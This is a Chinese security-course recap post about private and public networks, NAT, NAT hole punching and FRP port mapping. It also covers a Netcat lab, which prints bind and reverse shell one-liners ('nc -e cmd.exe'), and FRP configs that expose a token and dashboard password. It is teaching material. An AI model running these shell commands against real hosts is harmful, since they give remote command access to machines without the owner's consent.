内网穿透端口映射内外网反弹 shell 回顾

2024-05-27 19:36
文章标签 shell 回顾 穿透 内外 端口映射 反弹

本文主要是介绍内网穿透端口映射内外网反弹 shell 回顾，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

内网穿透&端口映射&内外网反弹 shell 回顾

内网概念

  • 我们常说的内网，一般指的是非公有 IPv4 地址的网络
  • 比如学校机房里的电脑一般为私有网络，家里的网络也是私有网络

私有网络的范围与划分

ipaddressarea
A 类地址10.0.0.0～10.255.255.255
B 类地址172.16.0.0 ～172.31.255.255
C 类地址192.168.0.0～192.168.255.255

image-20220620191736728

培训、环境、资料、考证
公众号：Geek极安云科
网络安全群：624032112
网络系统管理群：223627079 
网络建设与运维群：870959784 
移动应用开发群：548238632
短视频制作群：744125867
大数据应用开发群：962141356 
物联网应用与服务群：967579409
物联网应用开发群：884879404极安云科校企合作经理VX liuliu5488233极安云科专注于技能提升，赋能
2024年广东省高校的技能提升，受赋能的客户院校均获奖！
2024年江苏省赛一二等奖前13名中，我们赋能客户占五支队伍！
2024年湖南省赛赋能三所院校均获奖！
2024年山东省赛赋能两所院校均获奖！
2024年湖北省赛赋能参赛院校九支队伍，共计斩获一等奖2项、三等奖7项!

外网概念

  • 外网一般持有全球唯一的 IPv4 地址
  • 比如我的腾讯云服务器：114.132.218.55

为什么要讲内外网？

  • 内网 IP 可达外网 IP，与之交互
  • 外网 IP 则无法直接找到内网 IP

Netcat 实验

  • 内网连接内网(正、反)
  • 内网连接外网(反)
  • 外网连接内网(正)
  • 外网连接外网(正、反)
被攻击 PCOur PCexplanation
nc -e cmd.exe -lvnp 1234nc 10.10.10.1 1234正向 shell
nc -e cmd.exe 10.10.10.4 1234nc -lvnp 1234反向 shell

NAT 概念

网络地址转换（Network Address Translation，NAT）

NAT 是一种将私有（保留）地址转化为合法 IP 地址的转换技术

  • 它被广泛应用于各种类型 Internet 接入方式和各种类型的网络中
  • NAT 可以完成重用地址，并且对于内部的网络结构可以实现对外隐蔽。
  • NAT 设备自动屏蔽了非内网主机主动发起的连接

为什么要使用 NAT

	IPv4 网络地址紧缺，从而出现了私有网段，来补充地址，但私有网段不可访问 internet 所以出现了 NAT 地址转换，将私有地址，转换为公网 IP 从而访问 internetNAT 的作用也就在于：将私有IP地址，转化为公网的合法 IP

NAT 实验解析

端口映射

该理论已被收录至空间安全理论

内网穿透

内网穿透，也叫 NAT 穿透

进行内网穿透的目的：使用内网穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包，不被 NAT 设备屏蔽而正确路由到内网主机

应用在身边的内网穿透技术

  • 电脑两节点音频接收、转发
  • …

为什么要使用内网穿透

  • NAT 设备自动屏蔽了非内网主机主动发起的连接。从外网发往内网的数据包将被 NAT设备丢弃
  • 位于不同 NAT 设备之后的主机之间无法直接交换信息
  • 外部主机要与内网主机相互通信，必须由内网主机主动发起连接
  • 虽然保护了内网主机免于来自外部网络的攻击，另一方面也为 P2P 通信带来了一定困难

穿透模拟-通信双方一台 PC 位于 NAT 之后

环境：

PC A：拥有内网 IP，能够出网(NAT 转换)
PC B：拥有公网 IP，能够直接出网

如下图一般：

image-20220701130854572

  • PC A 位于 NAT 之后，并有用 IP 地址和对应端口 192.168.1.100:1234
  • PC B 位于 NAT 之前，并拥有 IP 地址和对应端口 218.5.18.2:1234
  • PC A 出网借助 NAT 转换，公网地址为 114.5.2.3
  • 由于 PC B 有一个公网 IP，所以 PC A 可以直接通过 TCP 协议连接到它的 IP 地址 ``
  • 然而如果 PC B 向 PC A 主动发起连接，则不会成功

此时就需要一个公有的服务器辅助进行内网穿透

  1. PC A 和 PC B 向服务器发起登录请求，并保持一个 TCP 或 UDP 连接
  2. 服务器记录他俩的 IP 地址和端口号

这里服务器对 PC A 是记录经过 NAT 转换之后的 IP 和端口号

  1. 当 PC B 想连接 PC A 时，首先向服务器提出请求，服务器在收到请求后向 PC A 发出打洞命令，并讲 PC B 的 IP 地址和端口号发送给 PC A
  2. PC A 根据收到 IP 地址和端口号向 PC B 发起 TCP 或 UDP 连接
  3. 最终 PC A 和 PC B 之间便可建立数据传输通道

穿透模拟-通信双方 PC 都位于 NAT 之后

环境：

两台主机都处于内网中，拥有出网条件(NAT 转换)

如下图一般：

image-20220701133313030

  • PCA 位于 NAT 之后，并有用 IP 地址和对应端口 192.168.1.100:1234
  • PCB 位于 NAT 之后，并拥有 IP 地址和对应端口 172.24.1.100:6000
  • PCA 出网借助 NATA 转换，公网地址为 218.5.18.2:51200
  • PCA 出网借助 NATB 转换，公网地址为 114.5.2.3:5000

服务器记录的 IP:端口 是 PCA 和 PCB 经过 NAT 转换之后的 IP:端口

此时，PCA 和 PCB 之间任意一方的连接请求都会被对方的 NAT 设备屏蔽

  1. PC A 首先向服务器提出连接请求，服务器将 PCA 的 NAT 218.5.18.2:51200 发送给 PCB，并向 PCB 发出打洞命令
  2. PCB 收到服务器的打洞命令后，首先向 PCA 的 NAT 地址 218.5.18.2:51200 发送一定数目的 UDP 探测包或 TCP 连接请求，然后在 NATB 上打一个方向为 218.5.18.2:51200 的洞
  3. PCB 向服务器报告打洞完成
  4. 服务器收到 PCB 的报告后，将 PCB 的公网 IP 地址和端口号 114.32.4.251:5000 发送给 PCA
  5. 此时 NATB 以及留下对应于 NATA 的 218.5.18.2:51200 洞，PCA 向 114.32.4.251:5000 将不会被丢弃 (这与端口映射的原理很相似)

内网穿透原理总结

  • NAT设备（或软件）维护一个状态表，用来把内部网络的私有 IP 地址映射到外部网络的合法 IP 地址上去

  • 每个包头中的 IP 地址和端口信息在 NAT 设备（或软件）中都被修改并翻译成一正确的 IP 地址发往下一级

  • 当一个内网主机通过 NAT 打开一个“外出”的 TCP 或 UDP 会话时，NAPT 分配给这个会话一个公网 IP 和端口，用来接收外网的响应的数据包，并经过转换通知内部网的主机

  • 这样，NAPT在 [私有IP：私有端口] 和 [公网IP：公网端口] 之间建立了一个端口绑定。

应用 FRP 内网穿透技术-使 PC 达到公网可寻

FRP Server 端配置

[common]
bind_port = 7000
dashboard_port = 7500
token = qwese.
dashboard_user = admin
dashboard_pwd = qwese.
vhost_http_port = 10080
vhost_https_port = 10443
tls_enable = true

FRP Client 端配置

client 端也就是我们要端口映射的对象，这里映射为 HTTP 协议

[common]
server_addr =114.132.218.55
server_port = 7000
token = qwese.[perse.windowsPC-http2]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 9002

image-20220701160420035

应用 FRP 点对点内网穿透技术-PC 达到公网可寻

http://blog.demon.ren/685.htm

后言

我自己想了一下，我没敢去看，上次那课实在是讲太烂了

我也是第一次讲课，很多地方没有讲好，这是没法避免的，所以我也尽力在让自己讲好，在改变

所有学习的过程都是这样，不一定是在安全技术上

不能说，学安全就高人一等，学艺术，学文学，学数学，学哲学就高人一等

而是我们能否在学习的过程中，保持一个学徒的心

都说人看的多了，学的多了，就知道自己的渺小了，因为眼界和想法跟以前不一样

虽然我们的课听的人少，但是我也希望能把技术和思路都尽数教给大家，虽然我们的技术不在一个层面，哈哈这是时间的问题，我相信大家总有一天说不定也能超过我

再说说为什么我们叫深蓝网络安全啊，先前我和你们坤哥创建了这么一个安全团队，但实际上就咋一个老 B 登在负责安全方面的一些技术，咋们之前本来想叫个 Perse 安全，意为恒心，希望在学习安全技术上，能够保持初心，啊不要去碰黑产对吧，同样也不要去做一些破坏他人安全和隐私的事，我们学这些说大了是为了国家网络空间安全，说小了哎，就是我想学，想装逼，想赚钱

但是我也希望能把技术和思路都尽数教给大家，虽然我们的技术不在一个层面，哈哈这是时间的问题，我相信大家总有一天说不定也能超过我

再说说为什么我们叫深蓝网络安全啊，先前我和你们坤哥创建了这么一个安全团队，但实际上就咋一个老 B 登在负责安全方面的一些技术，咋们之前本来想叫个 Perse 安全，意为恒心，希望在学习安全技术上，能够保持初心，啊不要去碰黑产对吧，同样也不要去做一些破坏他人安全和隐私的事，我们学这些说大了是为了国家网络空间安全，说小了哎，就是我想学，想装逼，想赚钱

所以我希望大家，能够多多评论和思考以及多问一些问题，并去实践我们每节课的演练过程

这篇关于内网穿透端口映射内外网反弹 shell 回顾的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/1008398。

相关文章

jenkins 插件执行shell命令时，提示“Command not found”处理方法

jenkins 插件执行shell命令时，提示“Command not found”处理方法

首先提示找不到“Command not found，可能我们第一反应是查看目标机器是否已支持该命令，不过如果相信能找到这里来的朋友估计遇到的跟我一样，其实目标机器是没有问题的通过一些远程工具执行shell命令是可以执行。奇怪的就是通过jenkinsSSH插件无法执行，经一番折腾各种搜索发现是jenkins没有加载/etc/profile导致。 【解决办法】： 需要在jenkins调用shell脚
阅读更多...
Redis中使用布隆过滤器解决缓存穿透问题

Redis中使用布隆过滤器解决缓存穿透问题

一、缓存穿透(失效)问题 缓存穿透是指查询一个一定不存在的数据，由于缓存中没有命中，会去数据库中查询，而数据库中也没有该数据，并且每次查询都不会命中缓存，从而每次请求都直接打到了数据库上，这会给数据库带来巨大压力。 二、布隆过滤器原理 布隆过滤器（Bloom Filter）是一种空间效率很高的随机数据结构，它利用多个不同的哈希函数将一个元素映射到一个位数组中的多个位置，并将这些位置的值置
阅读更多...
Java基础回顾系列-第七天-高级编程之IO

Java基础回顾系列-第七天-高级编程之IO

Java基础回顾系列-第七天-高级编程之IO 文件操作字节流与字符流OutputStream字节输出流FileOutputStream InputStream字节输入流FileInputStream Writer字符输出流FileWriter Reader字符输入流字节流与字符流的区别转换流InputStreamReaderOutputStreamWriter 文件复制 字符编码内存操作流(
阅读更多...
Java基础回顾系列-第五天-高级编程之API类库

Java基础回顾系列-第五天-高级编程之API类库

Java基础回顾系列-第五天-高级编程之API类库 Java基础类库StringBufferStringBuilderStringCharSequence接口AutoCloseable接口RuntimeSystemCleaner对象克隆 数字操作类Math数学计算类Random随机数生成类BigInteger/BigDecimal大数字操作类 日期操作类DateSimpleDateForma
阅读更多...
Java基础回顾系列-第三天-Lambda表达式

Java基础回顾系列-第三天-Lambda表达式

Java基础回顾系列-第三天-Lambda表达式 Lambda表达式方法引用引用静态方法引用实例化对象的方法引用特定类型的方法引用构造方法 内建函数式接口Function基础接口DoubleToIntFunction 类型转换接口Consumer消费型函数式接口Supplier供给型函数式接口Predicate断言型函数式接口 Stream API 该篇博文需重点了解：内建函数式
阅读更多...
Java基础回顾系列-第二天-面向对象编程

Java基础回顾系列-第二天-面向对象编程

面向对象编程 Java类核心开发结构面向对象封装继承多态 抽象类abstract接口interface抽象类与接口的区别深入分析类与对象内存分析 继承extends重写(Override)与重载(Overload)重写(Override)重载(Overload)重写与重载之间的区别总结 this关键字static关键字static变量static方法static代码块 代码块String类特
阅读更多...
Java基础回顾系列-第六天-Java集合

Java基础回顾系列-第六天-Java集合

Java基础回顾系列-第六天-Java集合 集合概述数组的弊端集合框架的优点Java集合关系图集合框架体系图java.util.Collection接口 List集合java.util.List接口java.util.ArrayListjava.util.LinkedListjava.util.Vector Set集合java.util.Set接口java.util.HashSetjava
阅读更多...
Java基础回顾系列-第九天-数据库编程

Java基础回顾系列-第九天-数据库编程

Java基础回顾系列-第九天-数据库编程 数据库简介工具包java.sql API 内容与数据库建立连接执行SQL语句数据库检索和更新查询结果SQL类型对应Java类型映射元数据异常 API方法DriverManagerConnectionStatementPreparedStatementCallableStatementResultSetjava.sql.Date批处理、存储过程、事务
阅读更多...
Java基础回顾系列-第一天-基本语法

Java基础回顾系列-第一天-基本语法

基本语法 Java基础回顾系列-第一天-基本语法基础常识人机交互方式常用的DOS命令什么是计算机语言(编程语言) Java语言简介Java程序运行机制Java虚拟机（Java Virtual Machine）垃圾收集机制（Garbage Collection） Java语言的特点面向对象健壮性跨平台性 编写第一个Java程序什么是JDK, JRE下载及安装 JDK配置环境变量 pathHe
阅读更多...
防止缓存击穿、缓存穿透和缓存雪崩

防止缓存击穿、缓存穿透和缓存雪崩

使用Redis缓存防止缓存击穿、缓存穿透和缓存雪崩 在高并发系统中，缓存击穿、缓存穿透和缓存雪崩是三种常见的缓存问题。本文将介绍如何使用Redis、分布式锁和布隆过滤器有效解决这些问题，并且会通过Java代码详细说明实现的思路和原因。 1. 背景 缓存穿透：指的是大量请求缓存中不存在且数据库中也不存在的数据，导致大量请求直接打到数据库上，形成数据库压力。 缓存击穿：指的是某个热点数据在
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2